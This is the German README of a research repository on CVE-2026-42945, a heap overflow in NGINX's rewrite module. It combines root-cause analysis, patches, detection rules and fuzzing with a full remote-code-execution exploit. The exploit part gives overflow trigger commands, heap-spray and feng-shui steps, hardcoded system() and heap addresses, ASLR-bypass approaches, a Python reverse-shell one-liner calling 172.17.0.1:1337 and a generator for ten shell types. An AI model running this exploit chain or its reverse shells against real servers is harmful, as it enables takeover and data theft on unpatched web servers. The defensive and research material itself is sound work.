Vollständiges Forschungs-Repository zu CVE-2026-42945 mit Heap-Buffer-Overflow-Analyse, RCE-Exploit (Heap-Spray + Feng Shui), Erkennungsskripten und Patch-Anleitungen für die Schwachstelle im NGINX-Rewrite-Modul.
| Metrik | Wert |
|---|
| CVSS v4.0 | 9.2 (Kritisch) |
| CVSS v3.1 | 8.1 (Hoch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — Heap-basierter Pufferüberlauf |
| Eingeführt | Juni 2008 — v0.6.27 |
| Entdeckt | April 2026 — DepthFirst Research |
| Behoben | 13. Mai 2026 — v1.30.1, v1.31.0 |
| CVE veröffentlicht | 21. Mai 2026 |
| Lebensdauer | ~18 Jahre (unerkannt) |
| Fix-Commit | 524977e7c534e87e5b55739fa74601c9f1102686 |
Ein nicht authentifizierter, entfernter Angreifer kann einen deterministischen Heap-Pufferüberlauf in NGINX-Worker-Prozessen auslösen, indem er eine konstruierte HTTP-Anfrage an einen Server mit einem bestimmten Konfigurationsmuster aus rewrite + set/if/rewrite sendet. Der Überlauf beschädigt Heap-Metadaten (ngx_pool_cleanup_t-Zeiger) und ermöglicht so Remote Code Execution (RCE) durch Heap-Spray- und Feng-Shui-Techniken.
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**Wichtigste Anforderungen:**
- Eine `rewrite`-Direktive, deren Ersetzung `?` (Query-String-Trennzeichen) enthält
- Eine anschließende `set`-, `if`- oder `rewrite`-Direktive, die auf einen **unbenannten PCRE-Capture** (`$1`, `$2`, usw.) verweist
- Das `?` in der Rewrite-Ersetzung löst `ngx_http_script_start_args_code` aus, das `e->is_args = 1` setzt
### Was ein Angreifer erreichen kann
| Fähigkeit | Beschreibung |
|-----------|-------------|
| **Denial of Service** | Deterministisches Abstürzenlassen von Worker-Prozessen, was Respawn-Schleifen verursacht (funktioniert unabhängig von ASLR) |
| **Remote Code Execution** | Bei deaktiviertem ASLR (oder umgangen per Partiellem Überschreiben) vollständige RCE als der Nginx-Benutzer erreichen |
| **Datendiebstahl** | Durch Memory-Read-Primitives sensible Daten aus dem Worker-Heap extrahieren |
| **Persistenz** | Hintertüren per Codeausführung im Speicher des Worker-Prozesses platzieren |
---
## 2. Root-Cause-Analyse
### Die Zwei-Pass-Script-Engine
Die `ngx_http_rewrite_module` von NGINX verwendet eine **Zwei-Pass-Script-Engine** in `src/http/ngx_http_script.c`:
1. **Längen-Pass** (`ngx_http_script_run`): iteriert über alle Script-Codes, um die benötigte Gesamtpuffergröße zu berechnen. Schreibt Längen nach `le.ip` und `le.pos`.
2. **Kopier-Pass** (`ngx_http_script_copy_len`/`_code`): iteriert erneut und schreibt die tatsächlichen Bytes in den vorab zugewiesenen Puffer an `e->ip` und `e->pos`.
Jeder Script-Code hat zwei Handler: einen für jeden Pass. Zum Beispiel:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### Das `is_args`-Flag
Das Flag `e->is_args` auf der **Engine-Struktur** (`ngx_http_script_engine_t`) steuert, wie der Kopier-Pass bestimmte Zeichen behandelt:```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
Wenn e->is_args = 1 ist, ruft der Kopiercode für die $N-Capture-Referenzen ngx_escape_uri() mit NGX_ESCAPE_ARGS auf, was Folgendes expandiert:
+ → %2B (1 Byte → 3 Bytes, +200%)% → %25 (1 Byte → 3 Bytes, +200%)& → %26 (1 Byte → 3 Bytes, +200%)Der Ausführungsablauf für das anfällige Muster:``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. Während der **Rewrite-Auswertung** stößt die Engine in der Ersetzungszeichenfolge auf `?`, was `ngx_http_script_start_args_code` auslöst und `e->is_args = 1` setzt.
2. Das Rewrite ändert die Request-URI und fährt dann mit der nächsten Direktive fort.
3. **`e->is_args` wird NIE GELÖSCHT**.
Dann:```
set $original_endpoint $1;
le) wird für den Längen-Pass erstellt: ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
Dies setzt le.is_args = 0 korrekt auf null, sodass der Längen-Pass die rohe, nicht maskierte Erfassungslänge zurückgibt.
e wieder, die aus Schritt 1 noch e->is_args = 1 aufweist. Der Kopier-Pass wendet URI-Escaping an und erweitert jedes maskierbare Zeichen von 1 Byte auf 3 Bytes innerhalb eines Puffers, der für die rohe Länge dimensioniert wurde — Heap-Überlauf.Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
Das Expansionsverhältnis ist `7 + (n_escapable * 2)`, wobei `n_escapable` die Anzahl von `+`, `%` und `&` im Capture ist.
---
## 3. Exploit-Mechanik
### Übersicht
| Schritt | Technik | Beschreibung |
|------|-----------|-------------|
| 1 | Overflow | Sende eine präparierte URI mit `+`-Padding, um den Heap-Puffer zum Überlaufen zu bringen |
| 2 | Heap Spray | Sende große Bodies per POST an `/spray`, um den Heap mit kontrollierten Daten zu füllen |
| 3 | Feng Shui | Ordne Allokationen so an, dass das Overflow-Ziel (`ngx_pool_cleanup_t`) benachbart ist |
| 4 | Corrupt Handler | Overflow überschreibt `ngx_pool_cleanup_t.handler` mit der Adresse von `system()` |
| 5 | Trigger Cleanup | Warte auf die Zerstörung des Pools → `system(cmd)` führt den Angreiferbefehl aus |
| 6 | Reverse Shell | Verkette mit Reverse-Shell-Payload für interaktiven Zugriff |
### Cross-Request Feng Shui
**Single-request Feng Shui schlägt fehl**, weil der Overflow die Metadaten des Pools (`->d.next`, `->d.failed`) beschädigt, bevor er den `cleanup`-Zeiger erreicht. Wenn der Pool am Ende der Anfrage zerstört wird, verursachen die beschädigten Metadaten einen **Absturz, bevor `system()` aufgerufen wird**.
Stattdessen nutzt der Exploit **Cross-Request Feng Shui**:
1. **Request 1 (Spray)**: Sende einen großen Body per POST an `/spray`. Das Backend (`server.py`) hält die Antwort mit dem `X-Delay`-Header fest, hält die Verbindung offen und bewahrt die Heap-Allokation. Der Spray füllt den Heap mit gefälschten `ngx_pool_cleanup_t`-Blöcken.
2. **Request 2 (Overflow)**: Sende die Overflow-URI. Der Overflow beschädigt nur den `cleanup`-Zeiger (nicht die Pool-Metadaten) und zeigt ihn auf den gesprayten gefälschten Block.
3. **Pool-Zerstörung**: Wenn die Spray-Antwort abgeschlossen ist (Verzögerung abläuft), wandert die Cleanup-Kette des Pools zum gefälschten Block und ruft `system(cmd)` auf.
### Adressanforderungen
| Symbol | Wert (Docker, ASLR deaktiviert) | Beschreibung |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Basis des nginx-Heaps |
| `system@libc` | `0x7ffff6f6e420` | `system()` in glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Zeiger auf den Cycles-Pool |
| Fake-Cleanup-Adresse | `0x5555556a4030` | Zieladresse des Sprays |
### ASLR-Bypass
Ohne ASLR zu deaktivieren, funktioniert der **DoS** (Absturz) weiterhin deterministisch. Für RCE bei aktiviertem ASLR gibt es zwei Ansätze:
1. **Partielles Überschreiben**: Verwende einen 1-Byte- oder 2-Byte-Overwrite, um einen Zeiger innerhalb derselben Seite zu verschieben, und brute-force die restlichen Nibbles (16–256 Versuche).
2. **Informationsleck**: Lies `/proc/self/maps` oder nutze die Speicheranalyse von `log_parser.py`, um das Layout zu bestimmen.
---
## 4. Analyse des Fixes
### Der offizielle Fix
**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`
**Datei**: `src/http/ngx_http_script.c`
**Zeile**: ~1205 (in `ngx_http_script_regex_end_code`)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code wird nach jeder Regex-Auswertung sowohl während des Längen- als auch des Kopierdurchlaufs ausgeführt. Das Zurücksetzen von e->is_args = 0 an dieser Stelle stellt Folgendes sicher:
set, if, rewrite) starten mit einem sauberen is_args = 0ngx_http_script_start_args_code kann is_args = 1 weiterhin setzen, wenn es ? in einer Ersetzungszeichenfolge vorfindet — der Fix bricht diese Funktionalität nichtpatches/0002-hardening-bounds-check.patch fügt eine Grenzprüfung in ngx_http_script_copy_capture_code hinzu:```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### Backport-Patches
| Patch | Nginx-Versionen |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. Betroffene Versionen
### NGINX Open Source
| Bereich | Status |
|-------|--------|
| **0.1.0 – 0.6.26** | Nicht betroffen (Rewrite-Modul stammt aus der Zeit vor unbenannten Captures) |
| **0.6.27 – 1.30.0** | **Verwundbar** (18-Jahres-Zeitraum) |
| **1.30.1** | Erste behobene Version |
| **1.31.0+** | Behoben (Mainline) |
### NGINX Plus
| Release | Betroffen | Behoben |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### NGINX-Ökosystem
| Produkt | Betroffen | Status |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Sicherheitshinweis ausstehend |
| F5 NGINX WAF | 5.9.0–5.12.1 | Sicherheitshinweis ausstehend |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Sicherheitshinweis ausstehend |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Sicherheitshinweis ausstehend |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Sicherheitshinweis ausstehend |
| NGINX Agent | 2.0.0–2.35.0 | Sicherheitshinweis ausstehend |
---
## 6. Erkennung
### Versionsprüfung```bash
bash detection/detect_vuln.sh
Dieses Skript prüft:
rewrite + ? + capturepython3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### Container-Scan```bash
python3 detection/container_scan.py
Scannt lokale Docker-Images nach NGINX-Labels/Umgebungsvariablen, die auf verwundbare Versionen hinweisen.
| Regelsatz | Datei | Abdeckung |
|---|---|---|
| ModSecurity | detection/modsecurity_rule.conf | Blockiert 100+ aufeinanderfolgende +, 50+ kodierte maskierbare Zeichen, drosselt Spray-Endpunkte |
| Suricata/Snort | detection/suricata_rule.rules | Erkennt zu viele + in GET-URIs, Fluten kodierter Zeichen, POST-Spray auf /spray, Crash-Loop-DoS |
| Falco | detection/falco_rule.yaml | Laufzeit: SIGSEGV bei nginx worker, Crash-Loop (3+ in 60s), Heap-Spray-POST-Erkennung |
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
---
## 7. Gegenmaßnahmen
### Sofortmaßnahme (ohne Codeänderung)
Ersetzen Sie **unbenannte Captures** durch **benannte Captures** in allen `rewrite`-Direktiven:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
Benannte Captures durchlaufen nicht ngx_escape_uri(..., NGX_ESCAPE_ARGS), sodass selbst mit e->is_args = 1 keine Expansion erfolgt und kein Überlauf auftritt.
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
Wendet diese Härtungsmaßnahmen an:
- ASLR-Verifizierung und erzwungene Aktivierung
- Isolierung von Worker-Prozessen
- Einschränkung von Core Dumps
- SSL/TLS-Härtung
- Ratenbegrenzung
- CSP-Header
### ASLR-Prüfung```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
---
## 9. Schnellstart```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
Die Docker-Umgebung:
- Baut NGINX aus dem Quellcode bei Commit `98fc3bb78` (letzter anfälliger Commit vor dem Fix)
- Enthält GDB, valgrind, `util-linux` (für `setarch -R` zum Deaktivieren von ASLR)
- Gibt Ports **19321** (anfälliges nginx), **19322** (sekundär), **19323** (Python-Backend) frei
- Der Entrypoint verwendet `setarch x86_64 -R`, um ASLR für ein deterministisches Exploit-Adresslayout zu deaktivieren
- Gewährt die Capability `SYS_PTRACE` und `seccomp=unconfined` zum Debuggen
### Nur die anfällige Version```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### ASAN Container```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
---
## 11. Auslösen des Überlaufs
### Grundlegender Absturz (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
Dies sendet:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
Die `+`-Zeichen im Capture `$1` werden beim Kopierdurchgang 3× erweitert, während der Puffer für die Rohlänge bemessen war, wodurch der Heap überläuft.
### Erwartete Ausgabe```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
Berechnet die minimale Anzahl von `+`-Zeichen, die benötigt wird, um eine Zielanzahl von Bytes zu überlaufen (nützlich beim Ausnutzen bestimmter Heap-Strukturen).
### Zeichenerweiterung```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
Gibt das Expansionsverhältnis für eine gegebene Präfixlänge und Anzahl escapbarer Zeichen aus.
Der Exploit implementiert Cross-Request-Feng-Shui, um eine zuverlässige Codeausführung zu erreichen:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### Grundlegende Verwendung```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### Erweiterte Optionen
| Flag | Standard | Beschreibung |
|------|----------|--------------|
| `--host` | `127.0.0.1` | Ziel-Host |
| `--port` | `19321` | Ziel-Port |
| `--cmd` | — | Auszuführender Befehl (erforderlich, außer bei `--shell`) |
| `--shell` | — | Interaktiven Shell-Modus verwenden |
| `--tries` | `3` | Anzahl der Exploit-Versuche |
| `--delay` | `2.0` | Verzögerung zwischen Spray und Overflow (Sekunden) |
| `--payload` | — | Pfad zur benutzerdefinierten Payload-Datei |
| `--debug` | — | Ausführliche Debug-Ausgabe aktivieren |
### Heap-Layout-Analyse```bash
python3 exploit/heap_layout.py
Erfordert eine laufende nginx-Worker-PID. Parst /proc/PID/maps, um Folgendes zu finden:
system()-Funktionpython3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
Findet Heap-Adressen, deren Bytes keine escapbaren Zeichen (`+`, `%`, `&`, `?`, etc.) enthalten, für die Verwendung beim Aufbau von Exploit-Payloads.
---
## 13. Reverse-Shell-Verifizierung
### Architektur```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
| Typ | Binärdatei | Anmerkungen |
|---|---|---|
bash | /dev/tcp | In bash integriertes TCP |
python | python3 -c | Am zuverlässigsten, immer verfügbar |
nc | nc | Netcat |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | Erfordert Zertifikat |
powershell | powershell | Windows-Ziele |
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### Automatisierte Verifizierung```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
---
## 14. Patchen
### Den Fix anwenden```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### Backport anwenden```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
---
## 15. Testen
### Unit-Tests```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
Läufe:
1. Unit-Tests (pytest oder unittest)
2. Trigger-/Überlauftest (falls der Server läuft)
3. Konfigurationsscanner gegen anfällige und sichere Konfigurationen
4. Patch-Trockenlauf-Validierung
### Regressionsmatrix```bash
bash tools/regression_matrix.sh
Testet mehrere NGINX-Versionen (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) gegen verwundbare und sichere Konfigurationen und überprüft die Erwartungen bezüglich Absturz/kein Absturz.
bash tools/test_all_configs.sh
Testet alle Konfigurationsmuster (basic, advanced, ingress, gateway) mit Overflow-Auslösern.
---
## 16. Fuzzing
### libFuzzer-Harness
Der Fuzzer (`fuzz/ngx_http_script_fuzz.c`) simuliert die Zwei-Pass-Script-Engine:
1. Analysiert die Eingabe als eine Sequenz von Script-Codes
2. Führt den Längendurchlauf aus
3. Führt den Kopierdurchlauf mit `e->is_args = 1` aus
4. Erkennt Buffer-Overflows mittels ASAN oder Größenabweichungen```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
Startet AFL++ mit ASAN, konfigurierbarem Timeout und Speicherlimits gegen den Fuzzing-Harness.
### Seed-Korpus
Das Verzeichnis `fuzz/corpus/` enthält Seed-Eingaben, die das verwundbare Muster reproduzieren, darunter:
- Einfacher Overflow-Trigger
- Named Capture (sollte nicht überlaufen)
- Randfälle (leere Capture-Gruppe, maximale Größe usw.)
---
## 17. CI-Pipeline
### GitHub Actions
Das Projekt verwendet einen **einzigen GitHub Actions CI**-Workflow (`.github/workflows/ci.yml`) mit diesen Jobs:
| Job | Was er tut |
|-----|-------------|
| `lint` | ShellCheck, Python-Syntaxprüfung |
| `scan-configs` | Führt config_scanner.py gegen alle Konfigurationsbeispiele aus |
| `fuzz-build` | Baut den libFuzzer-Harness |
| `test` | Führt die pytest/unittest-Suite aus |
| `detect-patch` | Verifiziert das Patch-Format und den Inhalt des Fixes |
| `verify-project` | Führt `tools/verify_project.sh` aus |
### Vollständige Pipeline```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
Die Pipeline führt 7 Phasen aus:
| Dokument | Beschreibung |
|---|---|
docs/root-cause-analysis.md | Detaillierte technische Analyse des Zwei-Pass-Script-Engine-Bugs mit Code-Durchläufen und Diagrammen |
docs/exploitation-guide.md | Schritt-für-Schritt-Ausnutzung, Heap-Spray, Feng Shui, Adressberechnung, ASLR-Bypass |
docs/detection-guide.md | Konfigurations-Scanning, Log-Analyse, WAF-Regeln, SIEM-Integration, Anomalieerkennung |
docs/mitigation-guide.md | Konvertierung benannter Captures, Ratenbegrenzung, WAF-Bereitstellung, Upgrade-Verfahren |
docs/FAQ.md | Häufig gestellte Fragen zu Schwachstelle, Ausnutzung und Behebung |
docs/timeline.md | Zeitleiste der vollständigen Offenlegung von der Einführung des Bugs im Jahr 2008 bis zum Fix im Jahr 2026 |
docs/operational-guidance.md | Vorfallreaktion, Forensik, IOC-Sammlung, Notfallmaßnahmen |
docs/case-study.md | Simulation eines realen Angriffsszenarios mit Kill-Chain-Analyse |
docs/presentation-slides.md | Präsentation für Konferenzen/Treffen mit Sprechernotizen |
| Metrik | Wert |
|---|---|
| Dateien insgesamt | 80+ |
| Verzeichnisse | 13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| Python-Skripte | 22 (exploit, detection, tools, shell, test) |
| Shell-Skripte | 15 (detection, tools, shell, test, pipelines) |
| Patches | 5 (1 Fix + 1 Härtung + 3 Backports) |
| WAF-Regelsätze | 3 (ModSecurity, Suricata, Falco) |
| CI-Konfiguration | 1 (GitHub Actions — nur CI) |
| Dokumentation | 9 detaillierte technische Dokumente |
| Konfigurationsbeispiele | 7 (4 verwundbar, 2 sicher, 1 benannter Capture + 3 erweitert) |
| Commit-Protokoll | 1003+ einzelne Commits |
| Shell-Typen | 10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| Fuzz-Harness | 1 (libFuzzer, ~200 Zeilen C) |
| Testfälle | 8 Unit-Tests + Shell-Runner |
| Abgedeckte NGINX-Versionen | 20 in der Regressionsmatrix |
| Lebenszyklus | 18 Jahre (2008–2026) |
| Referenz | URL |
|---|---|
| NVD-Eintrag | https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| Fix-Commit | https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686 |
| F5-Advisory | https://my.f5.com/manage/s/article/K000161019 |
| NGINX-Changelog | https://nginx.org/en/CHANGES |
| Referenz | URL |
|---|---|
| DepthFirst Research | https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability |
| PoC-Repository | https://github.com/DepthFirstDisclosures/Nginx-Rift |
| CWE-122 | https://cwe.mitre.org/data/definitions/122.html |
| Ressource | Beschreibung |
|---|---|
ngx_http_script.c | Die fehlerhafte Quelldatei im Rewrite-Modul von NGINX |
ngx_pool_cleanup_t | Die für RCE korrumpierte Heap-Struktur |
ngx_escape_uri() | Die Expansionsfunktion, die den Überlauf verursacht |
setarch(8) | Linux-Tool zum Deaktivieren von ASLR für deterministische Exploit-Adressen |
Dieses Projekt dient zu Bildungs- und defensiven Sicherheitsforschungszwecken. Die Schwachstelle wurde verantwortungsvoll offengelegt und von den NGINX-Maintainern gepatcht.